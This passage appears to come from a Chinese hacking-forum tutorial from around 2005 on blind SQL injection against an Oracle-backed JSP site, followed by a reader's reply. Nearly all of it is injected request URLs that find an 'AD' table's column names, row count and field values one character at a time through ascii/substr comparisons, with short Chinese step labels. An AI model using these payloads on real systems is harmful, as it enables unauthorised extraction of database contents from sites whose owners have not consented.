http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 82>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 86=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 86>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 84>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 87=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 87>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 87=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 87>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 74=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 74>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 86=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 86>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 88=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 88>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 89=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  



第一个记录的第一位值为：


4、     猜解数据值：

     数据值长度为一位：1
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT(*)FROM AD)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT(*)FROM AD)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT COUNT(*)FROM AD)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT COUNT(*)FROM AD)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT COUNT(*)FROM AD)),0)  

     数据长度为：9条记录
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT(*)FROM AD),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT(*)FROM AD),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 55=ascii(substr((SELECT COUNT(*)FROM AD),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 55>ascii(substr((SELECT COUNT(*)FROM AD),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 56=ascii(substr((SELECT COUNT(*)FROM AD),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 56>ascii(substr((SELECT COUNT(*)FROM AD),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 57=ascii(substr((SELECT COUNT(*)FROM AD),1,1))  

以下猜解记录值
     第一行第一列记录的长度为：1，值为：1
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  


     第一行第一列记录的长度为：1，值为：2

http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  


     第二行第一列记录的长度为：1，值为：2
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  

     第二行第二列记录的长度为：1，值为：2

http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  


     猜解第三个记录的长度为：（其它记录依次类推）
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))
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snakehu

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沙发 大 中 小 发表于 2005-10-14 18:11  只看该作者
FT 本人自以为阅读速度很快的。结果看这篇还是用了N久。
文章归类比较全。
但是提个建议。把前面的http://www.test.net/index_kaoyan_view.jsp去掉。少一点，眼睛也好受点。
自在飞花轻似梦,无边丝雨细如愁. ------------------------------------------- http://senarie.spaces.live.com/

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